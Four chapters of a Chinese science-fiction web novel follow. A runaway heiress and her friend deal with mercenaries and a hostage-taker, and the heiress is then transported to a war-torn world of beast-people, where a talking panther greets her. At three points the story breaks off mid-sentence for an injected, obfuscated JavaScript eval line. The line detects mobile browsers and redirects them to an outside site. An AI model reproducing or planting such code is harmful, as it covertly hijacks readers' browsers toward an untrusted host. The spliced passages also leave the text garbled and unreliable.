《启程》 1. 出走 入夜已久,墨提斯城仍亮如白昼。 矗立在城中央的高塔通体明亮,正是它将全城照亮,无论在城市哪个角落,都无法忽视这座高塔的存在。 那是研究塔,被誉为星盟“指引科技前进的灯塔”与“人类智慧的温床”。 然而,任它如何高大与明亮,城内总还有不被它驱散黑夜的角落。位于城东的某个别墅区,在它与研究塔之间,正好有一片高楼挡住塔灯,框出不被灯光干扰的夜景,或许这正是富人们选择于此居住的理由。 一个影子翻过装饰大于防御作用的围墙,落入下方经过的车打开的天窗。 车内没开灯,伊冯没找好落脚点崴到了脚也顾不上疼:“走!把天窗关上!” 她没有叫这一声的必要,飞车从头到尾毫无停滞地匀速行进,天窗也只在她跳下来的那一瞬间打开又迅速合上。 “制定计划的时候那么胸有成足,都跑出来了,怎么反而这么紧张?” 副驾驶的座位调转面向后方,周围泛起暖光,映亮椅中少年青春的面容。和刻意轻松的语气相对的,是微笑下难掩的担忧。 伊冯拖着扭伤的脚摸着爬到驾驶位,自嘲地笑道:“理论和实践果然不是一回事——快把自动驾驶关了,按着电脑制定的路线走太容易被追踪到。” 木原把车窗颜色再调深些,偏开身子给伊冯留出操作空间,说:“这车是新型号,我不会开。真的没关系吗,要是被你父亲发现……” “我就算现在反悔回去,也免不了骂。”伊冯把驾驶系统调出来,辨认功能后打开手动驾驶,“他这三个月离不开研究塔,我种的病毒足够骗过监视我的机器。等他发现,我们已经在另一个星系了。” 木原张嘴,想说的那些话还是沉默为叹息,把自己陷进柔软的椅背里,打开手腕上的终端确认星际航班信息。 星历3092年,人类的足迹已经遍布星野苍茫,星际间的穿梭航行成了再寻常不过的事。 元星作为如今卡尔诺星系的政治经济中心,所设立的星际港口虽不是最繁荣发达的,却是最先进安全的。在旅客看不见的地方,严密的监控安全网可以让任何异变被扼杀于萌芽中。 她们是如此宣称的。 港口停车场内,一辆椭圆如蛋壳、漆黑无反光的飞车停在车位里,车底的起落器却未收起,随时准备发动。 与车身浑然一体的车窗透不出人影。车内,伊冯把医疗棒收好,忍耐着没有探头去看木原终端上的消息。 伊冯问:“已经过了约定时间,她们怎么还没有来?” 木原雇佣了一队佣兵当护卫,正开着和对方联络用的小窗,但无论发过去多少消息,都毫无回音。在她终于发过去一条不委婉的指责短讯时,窗口突然一闪消失,再也打不开。 “这群**!定金都收了居然给老娘我玩失踪!****!”羞赧下,木原骂破口大骂。 伊冯听得脖子一缩,不赞同地看过去,又有点难以启齿的羡慕。 伊冯和木原的家庭,论起来都是所谓“上流社会”的那一波,规矩从来都是多的,大到一生的规划,小到拿一张纸的仪态。 只是都3092年了,立一堆规矩不过是面子工程,为了彰显自家“有历史有底蕴”不是什么暴发户。等真实施起来,谁也懒得难为谁,“大户人家”的小姐少爷们插科打诨起来,和普通人家的孩子并无区别,有的还要更奔放没有遮拦。 于是,真的切实遵守条条款款的伊冯反成了异类。 在伊冯听来,再怎么生气,木原脱口而出的那些词都太过刺耳粗俗。只是她也知道自己与正常的社会是脱节的,不觉得木原不成体统,反思是自己太古板。 装作没听到那些话,伊冯伸手拍拍木原:“把那个通讯程序发给我,我看看能不能找到她们的位置。” 木原正在气头上,也不顾什么隐私,直接手一横伸到伊冯眼前:“不用,你直接查,把她们拎出来打!” 伊冯折中,用车载处理器接上木原的终端,那个点不开的小程序图标突然化成一个滑稽的笑脸,阴测测的笑声回荡在车厢内,听得二人出了一身的鸡皮疙瘩。 木原的脸更黑了,好在伊冯动作快,调出后台终止程序附带的插件,偏大的敲击声也昭示了操作者的火气不小。 木原被吓到后反而冷静下来。 那边了解到雇主只有两个高中毕业生时,本就不乐意接单,最后是她拿钱砸下来的,现在那边临时反悔,无非是怕出事担责任。她气的是自己曾对伊冯夸口,说找的佣兵团可靠有实力,现在简直是打她自己的脸。 伊冯调出的窗口越来越多,木原望着满屏超出自己理解范围的符号,退堂鼓越打越响:“还是算了吧,真把她们找出来我们也做不了什么,毕竟是在联盟注册的正规佣兵团,给个差评就是了——伊冯?!” 正说着,伊冯突然扑到木原身上,指着后座大喝:“出来!” 木原慢半拍地抬头,顺着伊冯指的方向看去,先注意到伊冯夹在掌心的圆球。她一直见伊冯的终端手环上吊着这东西,原来不只是装饰吗? 伊冯毕竟是阿吉斯家的人,拥有些不在她认知内的设备也正常。 不对,现在不是感慨好友身家的时候,车里进了别人?! 被伊冯护住的木原视角有限,也不好推开人再扭身去看后面,干脆保持着现在的姿势,小心转动手腕点出车内监控。 监控中,后座的位置空荡无物。 伊冯不会无中生有。 在佣兵中流行着一种叫视觉误导器的小道具,可以做到在一定时间范围内,令特定对象看到使用者想被看到的东西。只是这种道具对使用者的身体、心理素质都有较高的要求,被官方严格管控着,加上使用限制多、时效短,更多时候是被拿来当作恶作剧的玩具。 木原心火又起,这是拿她们寻开心来了! 没得到回应的伊冯微曲手指,向武器下达预备攻击指令:“我知道你坐在那,车里一个,车外两个,观光台上还有一个。大名鼎鼎的追龙佣兵团,出动四个成员来考验我们两个小丫头,我们该觉得惊喜吗?要是能让追龙成员受点伤,或许会更叫人惊喜?” “呵呵,该惊喜的是我们。”被伊冯指着的位置,在一瞬间的扭曲后,浮现一个戴着细边眼镜的女子。虽然长相斯文,穿着再普通不过的便服,但手臂在宽松衣料包裹下仍可见结实的肌肉,这绝不是个只动口不动手的。 女子的嘴勾着笑,几分真意善意难以分辨。 伊冯放下手,但没解除武器的攻击蓄能。谁都不喜欢被下套玩弄,如果不能得到合理的解释,就算是前功尽弃,也只能放弃这次的出行计划回家挨骂。她离家是为了历练长见识,不是玩大冒险,她自认是极度缺乏生活经验的人,没有靠谱的引导者,随便去星际游走等同于送命。 “先说声抱歉吧,最近不太安宁,请原谅我们的谨慎。”女子略起身弯腰,行了个受空间限制不太周到的礼,“作为补偿,此次行程费用减半,如何?” “不如何。这就是你们的解释?”伊冯再次抬起手对准女子,“我不信任你们。交易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621573|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作废,请你下车。” 女人倒是顺从,面露遗憾地开门下车:“你的技术不错,期待我们还有再见的时候。” 木原在她下车的瞬间就锁死了车门:“鬼要和你们再见!” 听出女子其实是看中伊冯的技术才现身道歉,木原气急败坏下敲打终端的手速快得有残影:“只有在招生意的时候态度好点,一直在耍人——我要去给他们刷差评!” 伊冯坐回驾驶位,深呼吸着放开手里的圆球,在键盘上敲击:“没必要特地耍我们,应该就像那个人说的,最近发生了什么让追龙必须小心谨慎的事。我追查程序时,看到了几个三小时前才新加的指令……她们的系统安全级别真高啊,不过是最近才加固升级的,痕迹还没清干净。你那边有听到什么风声吗?” 木原去看伊冯打开的几个页面,看来看去也只看得出一堆不知何意的字母和数字,摇摇头说:“追龙那边没听到有什么新奇的事,倒是与追龙齐名的‘鬼兵’和‘怪物’,近来活跃了不少。非要说的话,物上个月突然撤掉了一个分据点,我家有情报说是因为那个据点混入了间谍,是不是和这个有关?” 伊冯不解:“间谍?佣兵团不是不归属于任何势力,只服务于民间吗?间谍进去干什么,佣兵团之间的商业竞争?” 木原说:“哪有那么简单——正因为不归属于任何势力,很多势力才更想要掌控他们。真正自由的佣兵团已经没有几个了,对于佣兵团,背后有某方势力支撑才能生存。” 木原看着伊冯脸上的讶异,又笑着补充道:“不过像追龙这样的佣兵团,自己就已经很强大,没有哪个势力有能力做她们的靠山了,反而吸引了很多小佣兵团被她们容纳。” 伊冯有些头疼地关掉页面:“她们的处境先不提,我们要怎么办呢。我都跑出来了,总不能就在元星上玩一圈吧——元星我早就玩遍了。” 木原提议道:“其实,只要不是去未开发区,跟着旅游团去星外景点逛一逛也不错呀?设成景点的位置安保系统健全,不用雇佣兵当保镖很安全。” 伊冯叹了口气:“也只能这样了。” 木原边查着最近的航班和还有名额的星际旅游团,边说:“我们还可以去蒂奇星看海,据说下个月有一场百年一见的星耀……” 若是平时被人下套耍了一通,木原做的第一件事就是回家找人收拾对方,出了气再说,但同代人里出了名乖顺的伊冯居然找她合谋离家出走,她怎么舍得伊冯失望呢。 伊冯的父亲从不允许她单独外出,长这么大,别说其他星系了,就是卡尔诺星系,伊冯也只在元星上转悠过那么几圈。在木原之前,伊冯甚至没有过朋友玩伴,生活只在学校和家的两点一线。 木原无法想象那样的日子要怎么过十六年。 但十几岁的少年人,面上再乖巧温顺,心里也会有团不知天高地厚的火。 木原没想到,只是一个利用假期出去实践的邀约,竟让伊冯用上了离家出走这种大招。这个放学后只因为担心不能在父亲规定时间到家,连道别都匆忙的女孩,突然以这么极端的方式来获取自由,木原意外之余又想,这太正常了。 在配合伊冯逃家的过程中,木原发现伊冯早就阳奉阴违地背着她父亲搞了许多小动作,这让木原觉得伊冯亲切了许多。这是理所当然的事,正常十六岁的少年,哪能像伊冯表面上那样,对外界毫不关心在意。 只是,在今天见到伊冯和追龙的干部对峙也不落下风后,木原真切地希望她能再大胆点,早日脱离束缚,走到与她才能相匹的远方。 2. 鬼雾 木原放松身子躺在等候室的软椅中,努力让自己的遣词委婉:“伊冯,虽然这么说很失礼,但你父亲的掌控欲实在有些,过头了。” 成功报名旅游团后,木原想在等待航班的时间里拉伊冯玩点游戏,却发现伊冯的终端居然被设置了权限锁,不能链接内网。 “内网”是相较于传统网络的说法,虽然本质相似,但它是一种利用终端设备直接连接人类大脑传感、信息传输只在人一念之间的特殊技术。在这项技术已经成熟得渗透进了个人乃至集体方方面面的今天,还对它作用于大脑而有顾忌的,只有些食古不化的保守老顽固。 不能连内网的终端几乎就是个摆设,这种给筷子不给饭的行为有什么意义吗? 木原问:“连内网都不能上,你的电脑技术是怎么来的?” 伊冯敲击键盘解开一个锁点,回答说:“我可以用外置设备的游客模式上网。家里的仪器大部分是研究塔未面向市场的型号,我经常拆几台研究构造和程序,把它们弄懂后,好像就没有什么不懂的了。” “……不愧是你啊,学神大人。”木原只能感叹。 权限锁比伊冯预想得还复杂,但也只是多费了点时间。 解开权限后,伊冯首先给自己注册了一个账号,大多数人在十岁之前就拥有的独立内网账号。 [是否联接内网?] [是] 伊冯戴着终端的手腕处感到刺痛的一瞬,大脑漫过一层酥麻,而后,虽然眼前景色未变,但她知道,她被世界的一部分接纳了。她不再是被隔离在正常社会之外的古董娃娃。 内网的使用方式和功能范畴介绍简短易懂,伊冯像新生儿一样瞪大了眼睛去看接触到的新世界。 她兴奋着跃跃欲试,但真的不受限制了,又不知道该在内网上做什么。 木原向伊冯展示了自己的内网id,说:“先加个通讯号吧——以后就能一起玩游戏了。” 伊冯感激地看了她一眼,在内网里找到木原后建立了通讯关系。 木原的内网id叫“独木就是林”,虚拟形象是个粉色爆炸头的柠檬黄肤色女孩,和她现实中的肤白发乌的样子反差极大。 伊冯对着自己系统默认的id和形象,思考要怎么设置。她没幻想过另一个自己,对于另一个属于自己的名字和外貌毫无想象力。 正有些苦恼,登船的时间到了。 伊冯没参加过旅行团,被木原叫着去登船口,才了解到旅行团的人不是一起出发,而是通过安排不同地点的游客航班时间,让她们同一时间到达目的地,再成团观光。每个出发点都有旅行社的负责人和警卫接待,游客只管按时上船就是。 伊冯落后半步跟着木原,在心里记录走向登船口的每一步印迹,走过安检,在通道尽头,漫天星光拥向伊冯。 伊冯心跳急促得令她呼吸不畅,她知道这些只是港口设计出来营造氛围的投影,她家里有比这更绚烂逼真的设备。 可是不一样,很快,她就要进入到真正的群星深处。 她在走向她无数次抬头仰望过的远方星辰。 伊冯激动得几近落泪。 眼中酝酿的水雾让伊冯忽视了周围的异常,等她意识到不对时,只来得及撞开木原,被男人掐住脖子用武器抵着太阳穴。 男人在伊冯耳边发出歇斯底里的声音:“追龙佣兵团如今也成了星盟的走狗?柯查尔,与其费劲把我抓回去领几个赏钱,还是摇尾巴讨两根肉骨头更轻松吧?” 不久前还和伊冯对峙的追龙佣兵团干部、那个戴着细边眼镜的女人从暗处走出:“你以为我们的任务委托人是谁呢?星际监狱的b级囚犯、现任在逃星际A级要犯——古尔,以你的前科,你觉得只有官方想要你的命吗?” 柯查尔让同伴保护好逃脱的木原,继续言语攻击男人的心理防线:“我们接到的委托没有要求要你的命,其他佣兵团可就不一定了。” 古尔却浑不在意,低声在伊冯耳边不怀好意地笑:“这群只知道在荒区捡垃圾的狗腿子不认识你,我认识。你老子是以诺对吧?他那么宝贝你,肯定愿意为了你,让星盟忘了我的存在。” 伊冯手里抓着她的球形武器,要害被掌控着,她不好反击,只能静候时机。只要追龙的人能给他造成什么威胁让他用武器反击…… 古尔的无视,让柯查尔意识到他知道被挟持的少年是什么身份——掌握客户的信息再决定是否接单,是佣兵工作基本中的基本,只是团里的新人大多不明白这个少年的背景意味着什么,才敢贸然接下她们的单子。 柯查尔的小队追赶任务目标来到元星,与附近的团员取得联络要求辅助,听令前来的分队成员都推掉了手里的委托。偏偏接下两位大小姐委托的小队不耐烦应付贵族,一句解释也不留,偏偏她们新升级的系统被团里某位奶奶加了捉弄人的东西,惹恼了对方。 柯查尔本想去道歉,她们看不上贵族,不代表明面上能得罪贵族。可惜她爱才心起,把道歉变得像挑衅——这些都是后话,眼下最紧要的,是把人平安救下,哪怕她们活捉犯人的任务失败。 柯查尔一步步靠近古尔吸引他的注意力,古尔深知没有手里的人质,他不可能逃脱追龙的追踪,将武器死死顶着伊冯的头,掐着她脖子的手也下意识用力:“别费力气了,我们不是第一次打交道,我不会放开这小妞的,她现在可是我的宝贝。” 男人大概已经被逼到穷途末路,才会对手上的免死金牌如此粗鲁。 “你……”伊冯被他掐得眼前发白,吐字都有些困难,“希望得到我父亲的帮助,就不该在我身上留下多余的痕迹。” “你松开她!我把她拉出来玩结果出了这种事他爸能把我家拆了!”那边被护在远处不肯离开现场的木原也急了,“你让她好好的,我保证以后你在媒体上就查无此人了!” 木家是卡诺尔星系传媒界的巨头,继承人的承诺很有分量。古尔心动得要流口水,立马就放松了力道。 脖子上的束缚减轻的瞬间,伊冯发动指间的武器:球形的银色武器漫出肉眼不可见的波纹,触及男人的部分化为电流缠绞而上! 激烈的电流居然没能让男人慌乱,反而激起了他的警惕,手部肌肉克制着因电流产生的颤抖,重新牢牢把控住伊冯—— 〔你见过鬼吗?〕 在伊冯和古尔面前,突然出现这样一行由黑雾组成的字。 甚至是有些华丽的花体字。 古尔怪叫着丢开伊冯往字的反方向跑,又一行字出现在他面前,这回是滴着黑血般的凝重字迹: 〔鬼来了〕 字中涌出大量黑雾吞没了男人的身体,顷刻间化入风中,只有男人最后绝望的哀嚎余留在空气里。 登船口不会有风。 追龙佣兵团的人脸色沉沉,看向风刮来的位置——空荡只有黑影的地方,一个戴着鬼面具全身被黑雾缠绕的人从影子里飘出来,朝她们鞠躬行了一礼,还不等柯查尔开口,又飘散于黑影。 柯查尔未出口的话都成了脏话,用气音从齿缝挤出。 “队长,‘鬼’从来不在元星活动,至少明面上不会。她们也从来不碰我们的目标,现在这是……”护着木原的追龙队员,在木原确认安全跑向伊冯后,来到柯查尔身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621574|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “‘鬼’居然没有在行动后马上离开,还现身行礼,是在向我们挑衅吗?” 危机解除,隐藏在暗处的队员也都聚过来,面色凝重。 柯查尔说:“在元星这种地方,也毫不顾忌地使用那神出鬼没的能力,鬼兵的低调已经是过去式了——或许,是因为她们迎回了王。” “这次星际监狱出逃的人里果然有?!” 柯查尔点头赞同队友们的猜想:“向总部汇报,怀疑‘鬼王’已重掌鬼兵。” 队员们各司其职,处理内部信息或是和星港人员交接后续事宜。 柯查尔走向在咖啡厅休息的两位少年。 “那个一定就是鬼兵了!没人知道她们是怎么行动的,甚至见过鬼兵成员的人也不多,因为‘死人见鬼,活人勿念’——这是她们的舰纹,帅死了!” 木原激动得不能自已,活着见过鬼兵、甚至还看到鬼兵动手的全过程,还要什么实践报告,这一条就足够上几天的头条! 伊冯还在琢磨“鬼”的行动原理:“那个状态是雾化还是气化,离得不够近没看仔细,时间也短,连推论都难……” 二人兴奋的样子让柯查尔担心她们受惊的想法很多余。不管怎么说,心理素质好是好事。 她正等时机插话,突然看到对面角落里一身白色轻甲、面覆纯白面具的人,柯查尔神色一凝,对方感受到她的视线转身离开。 “有什么事吗?”伊冯看见柯查尔,见她脸色奇怪,顺着她的视线转头,后方只有行人往来。 柯查尔轻咳一声调整表情,指指俩人对面的位置:“可以再聊聊吗?” 木原不置可否,伊冯也没开口拒绝,柯查尔便自行坐下:“没想到还是把两位牵扯进来了,抱歉。” 没人接话,她也不觉尴尬,看着伊冯开口道:“不知你们有没有兴趣来追龙见习?” 宇宙中还有大量人类未触及的区域,佣兵日常的主要任务就是对未开发区进行探索。注册为佣兵跟队,是现在学生中最被推崇的消耗假期的方式,茫茫宇宙中什么都有可能发生,这样与未知见面的机会是少年人最期待的。 木原翻了个白眼:“没兴趣,谁要苦巴巴地去当佣兵,有的是地方抢着给我们写实践报告。” 之前结束交易的行为太仓促,偏偏劫持事件还给鬼兵的人抢了解救的功劳,这两位大小姐还对她们很有意见。 柯查尔不气不馁:“两位准备去的是蒂奇星?现在不太安全,到处都有那样的亡命之徒,二位身份牵扯诸多,更不方便随意走动。正好我们的任务已经告一段落,不如一起出行?” 伊冯端着社交笑容说:“刚才救下我的,应该是鬼兵佣兵团的人吧?似乎和她们做交易更安全些?” 柯查尔笑着摇头:“鬼兵不接护送任务。” “那是以前,鬼兵正在改变,不是吗?” 柯查尔无法反驳,她对面的两个人或许比她还消息灵通,一般的话术不会有作用。她不该继续纠缠,但留下一个不太好的印象离开,也不是明智的选择。 伊冯没把话说死:“只是想出去走走就这么多事,我有些没心情了。我们再考虑考虑。” 柯查尔起身行了一个周到的礼:“我们的飞船会在星港南区停留一段时间,二位若有需要,可以到那里找我们。” “好。” 柯查尔回到熟悉的飞船内部,脸上终于显出些不同寻常的凝重。 她摘下眼镜捏了捏眉心:真是够热闹,太热闹了。 不只是鬼兵,甚至连怪物也来了。这太奇怪了,怪物也是从不踏足元星的团体,为何都在今天破例? 3. 黑豹 伊冯看着柯查尔走远,向着比她背影消失尽头更深的远方望去。 “我不觉得我表现出的技术,好到能让追龙如此主动。如果我不是伊冯·阿吉斯,不是以诺·阿吉斯的女儿,她还会如此热情吗?”她的目光近乎专注地凝视某个只存在她心中的地方,喃喃自语并不要求回应。 但木原还是回答了她:“我不瞒你,一开始是我父亲要求我和阿吉斯家的搞好关系,我才会接近你,向你示好、和你做朋友。” 伊冯转头看她,咖啡厅外的投影旋转重组,在她眼里汇成星幕。 “直到这次出行前,你在我眼里只是个听话的乖乖女,是我们家向阿吉斯与‘塔’示好的中介。”木原握住伊冯的手,直视着她的眼睛,目光澄澈得像伊冯六岁生日时透过琥珀看见的日光:“但现在的我希望你不再是阿吉斯家的孩子,这个姓氏让你成了笼中鸟,可你不是——阿吉斯不会让你破解追龙的安全系统,没有了阿吉斯,伊冯还是一个天才。你完全可以飞到阿吉斯所能影响到的世界之外。伊冯,阿吉斯很强大,但世界不是只有元星,不只是卡尔诺星系、不止是东西星盟,阿吉斯困不住你。” 伊冯拉着木原的双手捧在胸前,低垂着头,白洁的后颈上银色细链折射星光。 “木原,陪我去见一个人吧。” 伊冯是由脱离家族独居的父亲抚养大的。关于母亲的去向,父亲总是语焉不详地说母亲去了“遥远的不可知之地”,她便以为母亲早逝,那只是父亲委婉的说法。 直到她十二岁那年。 阿吉斯的前任家主过世,而伊冯的父亲以诺是第一顺位继承人。 伊冯第一次被带回主家大宅,听见追悼会上的人议论她的身世。她们说——她的生母过去是阿吉斯家的女佣,和二少爷以诺私通生下了一个女儿,女佣被驱逐出元星,二少爷愤然离开主家表达不满。 “表现得挺痴情,还不是再没理会过那个女人的死活,我看不过就是找个借口自立门户。” “他倒是够紧张这么个小野种,这种场合也带她来。真是运气好,在‘塔’里混了个职位,老爷才没废了他的继承权。” “如今他是阿吉斯主脉唯一的活人了,那个小丫头难道会成为未来的阿吉斯家主?一个佣人的孩子,真是阿吉斯家的耻辱。” “再如何,也不会比那个逃跑的洛佑更令阿吉斯蒙羞了。” “嘘——” 伊冯站在墙角,啜饮着父亲允许她在这里进食的唯一一样东西,一杯清茶。那些人似乎并不担心被她听到什么,只在以诺经过时消声,她便大方地听。 嫉妒,不甘,愤怒,鄙夷……不含真意的话语,只是情绪的宣泄。混杂的声音让伊冯有些头昏,好在父亲给的茶很清爽。茶水见底时,以诺终于结束了交际,带着伊冯离开人来人往的会客厅。 听闻的流言可信度存疑,走在无人的通道上,伊冯拉住以诺的袖口:“父亲,我听到了些和母亲有关的话。你和母亲是在这里认识的吗?” 一向有问必答的以诺第一次用沉默回应。 伊冯察觉到气氛不对,却没能及时停止追问:“……母亲,还活着吗?” 以诺停下脚步,低头看着她,面无表情:“你希望她死吗?” 伊冯一抖,松开了拉着以诺的手,以诺没再看她,径直往前走着。伊冯落后几步跟着此刻让她觉得陌生的父亲,不再开口。 从那以后,不知所踪的生母成了伊冯的心事。而父亲,在母亲下落这件事上始终保持沉默。 她对从没见过的生母没什么感情,别人议论也影响不了她——催生她好奇心的是父亲。 以诺虽然从不和她细说与母亲的往事,更是对母亲的去向守口如瓶。但偶尔,他会露出怀念追忆的神情,哪怕什么也不说地坐在那,眼中也满是爱惜。吝啬夸奖的父亲,难得几次称赞,也会发出“毕竟是她的女儿”的感叹。 伊冯的家庭作业有过这么一道题目:以“最美好的时光”为主题创作——她找以诺探讨,想让他给些参考。 陷入某段往事中的以诺久久才露出一个平静温柔的笑:“我想起和你母亲相处的那段时间……或许你将来也会遇到这样的存在,拥有一段仿佛发热发光的记忆……让你明白余生该如何度过。” 伊冯就在这些点滴中对母亲生出了憧憬,那会是一个怎样优秀美好的人啊。 伊冯想,阻碍她们在一起的究竟是什么,家世吗?以诺已经是阿吉斯家主,谁能对他的感情指手画脚,还用在意什么呢? 问题或许出在母亲那边。 她的生母曾是阿吉斯家的女仆,被迫离开元星也是阿吉斯家的手笔,顺着这条线索,要躲着以诺找到一个改名换姓从头来过的女人,对伊冯而言只是时间问题。 她想知道孕育了她的女性究竟是个什么样的人,她的生母是如何看待她这个孩子、这段旧情,父亲又何以对那些过去闭口不言。 这次出走,伊冯一开始就计划去见见她的生母。一来是想解开心里的诸多疑惑,二来,则是盘算着如果两人重归于好,自己是否能从母亲那下手,多争取些自由外出的权利。 行程还没开始就变得比她预想得复杂,但她不想搁置这一目的地。 才发生了逃犯劫持人质的事件,港口的气氛很紧张,伊冯担心会有风声传到以诺那边,还是找上柯查尔雇佣她们护送。 柯查尔小队用的星舰是五年前出的制式,载有自体远距离传送仪,是适合远距离追击的型号。外观上除了喷涂着佣兵团标志和团徽外,没有做别的改造。 伊冯走入星舰内部,粗略看了一下,仅她看到的地方,除了些涂鸦装饰,完全的出厂设置。 柯查尔对她们的订单表现热切,殷勤得有些恶心人,她的队友在角落里笑得站不稳。伊冯有些忧心地再度将武器夹在手里,和木原交换了一个怀疑这队追龙是假龙的眼神。 领着看过安排给她们的房间后,柯查尔就识趣地借口处理工作离开,留两个客人自行活动。 俩人上下逛了一圈后,没看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621575|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么有趣的,找个视野好的地方坐下。 木原放在终端环上的手蠢蠢欲动:“你说,我要是把这些东西放出去,能不能让追龙的民间排名降一降?” 木原向伊冯单向共享了自己的终端屏幕,上面显示着追龙和她们碰面以来的几段录像。 不愧是做传媒的。 “应该会落到鬼兵之后吧。”伊冯点出鬼兵出手那段时间的录像,诡异神秘的黑雾和鬼面佣兵只出现了不到十五秒,“从没见过鬼兵的民众看到这些……一定会有大批拥护者出现。” 那短短时间里展现出的不容反抗的强大与从容,实在太让人心动。伊冯尤其在意她们使用的黑雾,鬼兵肯定不会公开技术手段,或许让更多人看到,能听到启发她的声音。 木原嬉笑着把那些视频和一些笔记拖入“特别报道”文档,拿出随身的零食摆了一桌,享受接下来的旅行。 她们坐在观景窗前,窗外风景变换,拟真星空投影和港口建筑退后下沉,重重云雾之后,就是星海。 星海溺人,伊冯一瞬间停止了呼吸,伸手想拉木原说些什么,突然听到奇异的声响,如蜂鸣和羽翼破空,像是水波漾开枝叶轻摆,爽烈的风和悠长的叹息—— 她的眼前突然一片模糊,还未清晰时,浓重的腥味钻入鼻中。 伊冯忍着作呕的感受,闭眼缓和三秒再睁开——再度清晰的视野里,一片荒芜。 突然的变故让伊冯一瞬间大脑停滞:什么情况? 她应该和木原在追龙佣兵团分队的飞船上,这片完全没有开发痕迹的荒地是哪里? 脑中混乱着,眼睛却不敢多眨地四处搜罗有用的信息,她看到黄色大地被大片大片地染成黑褐,骇人的大量血液积蓄成细小的溪流涌过她身边,到处瘫倒堆叠着尸体。 那些尸体…… 伊冯皱眉细看近处的那一具:那绝对不是人类的头颅。 长在头顶的圆耳朵,长满面部的细密毛发……更像是某种猫科动物,可又确实有人类般的躯干。 再看其他尸体,也都是在人的身体之外多了些别的动物特征。 伊冯只在幼儿读物和幻想作品里听闻过类似的生物。 这里究竟是什么地方? 旷野上不羁的风刮过活人死物,一颗破损往外流浆的脑袋从高处被吹落滚在伊冯脚边。 伊冯终于扭头吐了出来。 “孩子,你不是战士,不该出现在战场。” 突然出现的声音让伊冯差点把流经嘴的呕吐物吞回去,狼狈得咳出一脸的泪,捂着嘴往声源看去。 那是一只毛皮油光水亮、毫无人类特征的,黑豹。 黑豹趴在一块巨石上,再一次开口证明了之前那个声音的主人正是它:“孩子,你来自何处?” 温和而富有威严的浑厚女声,如果不看它的样子,这声音更像是一位年长的贵妇人。 伊冯:“……” 比起会说话的豹,长着兽首的人一下就显得不是那么值得惊讶了。 4. 镜子 在未知的情境下遇见超常识的生物该怎么办? A,尝试沟通取得情报;B,以防万一先出手制服对方保证自身安全;C,逃离现场再独自探明情况。 伊冯轻微地动着手指调整武器功能:在她没有发现这只黑豹的时候,它主动出声暴露位置,并且表现出交流意愿;黑豹占据高处有利位置且距离较远,她主动发起攻击很难一击即中;地面潮湿凹凸不平且有大量尸体作为障碍物,不方便快速移动。在可以沟通的情况下,没必要先预设对立面。 电光火石间,伊冯决定先将黑豹认为无恶意的可交流对象。 于是她开口和黑豹对话:“您好,我无意中误入此地,请问这是哪里?” “这里是呼尔契,风神和众生之母的花园。”黑豹站起,从岩石上跳下,落地时没有发出一丝声响,“但我想你希望知道的,并不是这块平原的名字。” 黑豹缓步向伊冯靠近,漆黑的面部上金黄的瞳仁显出些虚幻的神性,紧盯着她的瞳孔中,是足以致命的美丽。 这种成为被盯上的猎物般的感受让伊冯僵直了身子,直接打开武器的攻击模式,细小的电流在她掌中凝聚。 黑豹很有兴趣地歪头盯着她的手,停住步伐不再逼近:“你可以操控雷电,很不错的能力。” 伊冯调整呼吸,让身体不那么僵硬以免应对不及。她说:“我没有恶意,也和这里交战的两方毫无关系,希望你不要误会。” “真巧,我和这两方都很有关系。我们也可以说是立场一致。”黑豹的眼睛微眯声音轻快,似乎像人类那样笑了起来,只是脸太黑,伊冯看不清它的表情。 黑豹转身捡着地上干爽的地方跳跃着走:“先离开这里吧,很快就有士兵来打扫战场了。” 果然还是得表现出一定的攻击力,才能让对方不冒进。伊冯悄悄松了口气,将武器转换到防御模式再小心地跟上黑豹,落在对方三步远的后方,以防它又有什么动作。 黑豹动作轻巧,几个跳跃间就奔出百米,伊冯只能一路快跑。 黑豹还要和她搭话:“我还没问你的名字,孩子,你叫什么?我是巴沙。” 伊冯回说:“伊冯。” 她们已经跑出了那片血流成河的战场,视野中出现大片的绿色。黑豹扭身蹿上了一棵树,居高临下地看着伊冯道:“你是从另一个世界来的。” “我……”虽然隐约有猜测,但她来到了其他世界吗?难道是飞船使用空间跳跃引发的穿越时空?飞船上的其他人呢?黑豹会这么肯定,是因为这个世界的人都是那样半兽外貌吗?可如果她的样子在这个世界绝无仅有,它不应该一见面就发觉了? 黑豹突然又贴着树身下到地面,向伊冯甩了下尾巴:“是剡宁的士兵,快躲起来,她们可是最极端的种族主义者,热衷于消灭一切和她们不同的种族。” 